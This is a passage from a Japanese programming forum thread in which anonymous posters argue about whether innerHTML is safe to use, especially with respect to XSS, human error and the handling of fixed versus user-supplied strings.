201:Name_Not_Found
14/11/10 13:38:28.77 .net
ｊQuery使ってるのにinnerHTML否定した馬鹿が顔真っ赤になって必死だな
202:Name_Not_Found
14/11/10 13:59:44.35 .net
率直にいってjQueryには好ましくない実装が結構あるからねえ
innerHTMLに限らず、使う必要性はあまり感じないね
便利なプラグインがあって自分で作る手間を省きたい時に使うぐらいかな
大抵自分で作ろうとするし、jQueryがなくても困らないだろうね
「どうせおまえもjQueryがなかったら困るんだろ？」はただの思考停止の信者発言だし、問題の本質から論点をずらして逃げてるだけ
まともな議論にもなりそうにないね
203:Name_Not_Found
14/11/10 15:11:10.74 .net
jQueryが2つ以上のファイル構成なら多くの人が使ってなかっただろう
204:Name_Not_Found
14/11/10 15:59:32.97 .net
スタンスの問題では？
コード記述の便利さを取るか、コード実行の最適化を図るか
205:Name_Not_Found
14/11/10 20:13:53.72 .net
innerHTMLを毛嫌いするのに正当な理由がないから
jQueryで使っていても何の問題もないんだが。
明日太陽が昇らないかもって
心配しているようなもん。
206:Name_Not_Found
14/11/10 20:15:19.99 .net
うーん？ innerHTMLを根拠なく否定しているやつが
馬鹿というのが大前提なんだが、それわかってる？
そこから説明しないといかんの？
innerHTMLを否定する理由はないという
コンセンサスは得られているかな？
207:Name_Not_Found
14/11/10 20:22:30.14 .net
>>202
それ言うならスタイルだろ…
208:Name_Not_Found
14/11/10 20:37:11.00 .net
>>205
スタンスで間違ってないと思うけど、衝突の原因はそこじゃないんだよね
相手を打ち負かす目的で発言している人とは論理的に議論できる気がしないよ
209:Name_Not_Found
14/11/10 21:03:59.13 .net
うちの上司は、すぐに、エビデンス！とかフィージビリティ！とか逆に！とか言う。
と思っていたら、気が付いたら自分も言うようになってた。
210:Name_Not_Found
14/11/10 21:19:24.57 .net
>>207
「逆に！」だけ別次元の何かを感じさせるな
211:Name_Not_Found
14/11/10 21:20:47.50 .net
根拠はもう出てるだろ
212:Name_Not_Found
14/11/10 21:21:38.97 .net
innerHTMLはDOMを壊す恐れがあるから使うなっ！
213:Name_Not_Found
14/11/10 21:25:37.65 .net
innerHTMLを使ったらダメという根拠は、
代入するHTMLに<script>タグが含まれていたらXSSが起きるから
逆に言えば、innerHTMLに<script>タグが含まれることがないと
保証されているなら使っていい。
ここまでは同意とれてるよね？
214:Name_Not_Found
14/11/10 21:29:17.83 .net
innerHTMLはevalと一緒。
だからevalは使ってはならない。
Googleのスタイルガイドでも
evalは絶対に使ってはならないと書いてある
215:。 ↓うっそぴょーんｗ http://cou929.nu/data/google_javascript_style_guide/#eval > デシリアライズ (deserialization) するときのみ使用可. (例えば RPC レスポンスを評価するときなど)
216:Name_Not_Found
14/11/10 21:31:47.24 .net
ユーザーが入力した値をinnerHTMLで
代入するときは気をつけないといけないが、
プログラマが書いた文字列を代入するだけなら
安全だから問題ないんだよ。
最低限これぐらいは理解してから会話に参加してくれ。
217:Name_Not_Found
14/11/10 21:45:44.89 .net
人的ミスがないとは言い切れない
218:Name_Not_Found
14/11/10 21:46:51.14 .net
そうなるとサーバサイドで文字列を無害化しなくていいって言ってるるようなもんだね
echo htmlspecialchars($s, ENT_QUOTES, 'utf-8');はしなくていい
ehoc $s;でいいみたいなことをいってるんだね
219:Name_Not_Found
14/11/10 21:49:06.75 .net
>>211
他にも問題があるけどいくらいっても理解されないようだからもういい
220:Name_Not_Found
14/11/10 21:53:17.53 .net
>>214
人為ミスを起こすという話をすると、
createElement('script')って書いたら、
script実行できちゃうから、
createElementも使ったらダメってことになるけどいいの？
221:Name_Not_Found
14/11/10 21:54:57.38 .net
>>101を全く理解してないからXSSだけとか適当な事をいうんだろう
222:Name_Not_Found
14/11/10 21:55:01.01 .net
>>215
おいおい、話が全く違うだろう。
その例で言うのなら
echo 'aaa' は危険だから
echo htmlspecialchars('aaa', ENT_QUOTES, 'utf-8'); って書けって言っているようなもんだよ。
違いわかる？ ユーザーの入力値がはいった変数じゃないんだ。
プログラマが入れた固定の文字列。
だから安全なんだよ。
223:Name_Not_Found
14/11/10 21:56:19.69 .net
>>216
その問題はすべて反論しただろｗ
224:Name_Not_Found
14/11/10 21:57:31.58 .net
echo はミスをするとXSSを起こす。
だからechoを使うな！
↑
え？ｗ
225:Name_Not_Found
14/11/10 21:58:21.95 .net
innerHTML はミスをするとXSSを起こす。
だから innerHTML を使うな！
↑
え？ｗ
226:Name_Not_Found
14/11/10 21:58:59.24 .net
>>217
>>214はヒューマンエラーでXSS問題が起きるリスクを回避する話をしているのだと思うが
趣旨を理解しない意見で煙に巻くのがお得意のようだな
227:Name_Not_Found
14/11/10 22:00:17.47 .net
>>223
だから、ヒューマンエラーが起きるって話をするならば、
echo は使っちゃダメってことですよね？
228:Name_Not_Found
14/11/10 22:02:49.62 .net
script 要素に appendChild() とかやったらどうなる？
229:Name_Not_Found
14/11/10 22:02:54.79 .net
いつからバグをヒューマンエラーっていうようになったの？
バグをしたら脆弱性が起きるような命令は使ったらダメというのなら
プログラム書けないだろ。
ファイルを削除するdeleteは、バグがあったら
全ファイル消えるから使っちゃダメとか？ｗ
230:Name_Not_Found
14/11/10 22:03:05.20 .net
>>224
echoなど知らん
相変わらず、煙に巻くのが得意だな
231:Name_Not_Found
14/11/10 22:05:03.83 .net
>>225
> script 要素に appendChild() とかやったらどうなる？
そりゃ、そういうコードを書く奴が悪いというのは誰もが認めると思うが
ヒューマンエラーで「間違ってappendChild しちゃいました」なんて事が起こりうると思っているのか？
232:Name_Not_Found
14/11/10 22:10:54.50 .net
>>226
ヒューマンエラーでバグが発生するという理屈も分からないのか
原因と結果を切り分けて考えることも出来ないのか
233:Name_Not_Found
14/11/10 22:12:24.92 .net
>>228
いや、単純にscript要素に子要素ノードとか作れてしまうのか
と思って聞いてみたのだが
> 「間違ってappendChild しちゃいました」
例えば script 要素に id が振られていて、
間違ってその id で getElementById で要素を取得して
appendChild するようなことはあり得るかもしれない
234:Name_Not_Found
14/11/10 22:21:11.44 .net
>>219
え？固定された文字列でもサニタイズしないとかありえませんよ？
235:Name_Not_Found
14/11/10 22:26:15.46 .net
>>230
> 例えば script 要素に id が振られていて、
> 間違ってその id で getElementById で要素を取得して
> appendChild するようなことはあり得るかもしれない
それは appendChild 以前の問題だ
それを認めるなら「間違って innerHTML しちゃいました」も起こりうるのだから
期待しなかった場所に appendChild されたのならデバッグ時に気がつくはずだし、気が付くべきだ
(気が付かなかったのならデバッグが足りない)
XSSの厄介なところは事象が発生しなければ問題にはならないという事だ
ヒューマンエラーでXSSが発生しているのなら意図的にXSSを発生しようとしなければ発見できないだろう
「間違ってappendChildしちゃいました」とは根本的に違う
236:Name_Not_Found
14/11/10 22:27:53.51 .net
> それを認めるなら「間違って innerHTML しちゃいました」も起こりうるのだから
ちなみに「間違って innerHTML しちゃいました」の方が想定されるリスクは大きい
script要素でなくてもXSSが起こりうるからな
237:Name_Not_Found
14/11/10 22:30:48.95 .net
ヒューマンエラーはありとあらゆるセキュリティホールの可能性があるから超危険だ
人間はプログラムを書くべきではないな
238:Name_Not_Found
14/11/10 22:36:32.80 .net
だったらプログラムを書くコンピュータを作ろう
しかしそのコンピューターのプログラムは誰が書こうか
239:Name_Not_Found
14/11/10 22:50:36.22 .net
>>231
あほだろ。
固定の文字列に対してエスケープする意味は無い。
240:Name_Not_Found
14/11/10 22:55:23.85 .net
固定の文字列をechoする時にエスケープしなくていいのは
リスクが0だから。
同様に固定の文字列。innerHTML = '<span>abc</span>'とか
XSSになりようがない。つまりリスク0だから何の問題もない。
リスクが0なのに、そのリスクがどうとか言うのは
リスク管理じゃなくて、単なる過保護。
241:Name_Not_Found
14/11/10 22:57:40.87 .net
間違って innerHTML しちゃっても問題は起きない。
なぜなら、appendChildしちゃいましたと同じだから。
appendChildしても、scriptと入れない限り大丈夫なように
inenrHTMLをscriptを入れない限り大丈夫。
この説明で同じだってことがよくわかったと思うがね。
242:Name_Not_Found
14/11/10 23:00:39.74 .net
過保護パターンみたいな名前のアンチパターンありそうだなｗ
例えば、if (a > 0 and a !== 0) みたいに
明らかにやる必要がないのに、念のためとかいって
やる初心者がいるんだよねｗ
こういうのは、コードがどう動くか
わかってないから。
243:Name_Not_Found
14/11/10 23:05:14.85 .net
>>238
appendChild と innerHTML が同じ？
244:Name_Not_Found
14/11/10 23:08:28.44 .net
チェックミスが起きるからヒューマンエラーなんだがな
appendChild と innerHTML を同一視するとか、リスクの規模を測る目を持たない人がいう事は違うな
245:Name_Not_Found
14/11/10 23:09:16.38 .net
>>240
はい。同じです。
固定値をinnerHTMLに入れている限りXSSは起きません。
逆に、appendChildの値をユーザーーが入力可能だとXSS起きる可能性があります。
echoも同じです。固定値ならばXSSは起きません。
違い、分かりますか？ 変数の内容がユーザーが入れられるかどうかです。
エンドユーザーが入れられるなら、XSSは起きる可能性がありますが、
固定値を入れている限りXSSは起きません。
絶対に起きません。
246:Name_Not_Found
14/11/10 23:10:11.01 .net
>>241
チェックミスって何のチェックですか？
コードにバグがないかチェックしないんですか？
247:Name_Not_Found
14/11/10 23:11:25.57 .net
まさにこれなんだよね。
echoをミスするとXSS起きるから、
echoを使うなっていう馬鹿はいない。
221 名前：Name_Not_Found[sage] 投稿日：2014/11/10(月) 21:57:31.58 ID:???
echo はミスをするとXSSを起こす。
だからechoを使うな！
↑
え？ｗ
222 名前：Name_Not_Found[sage] 投稿日：2014/11/10(月) 21:58:21.95 ID:???
innerHTML はミスをするとXSSを起こす。
だから innerHTML を使うな！
↑
え？ｗ
次ページ最新レス表示スレッドの検索類似スレ一覧話題のニュースおまかせリスト▼オプションを表示暇つぶし2ch
548日前に更新/282 KB
担当:undef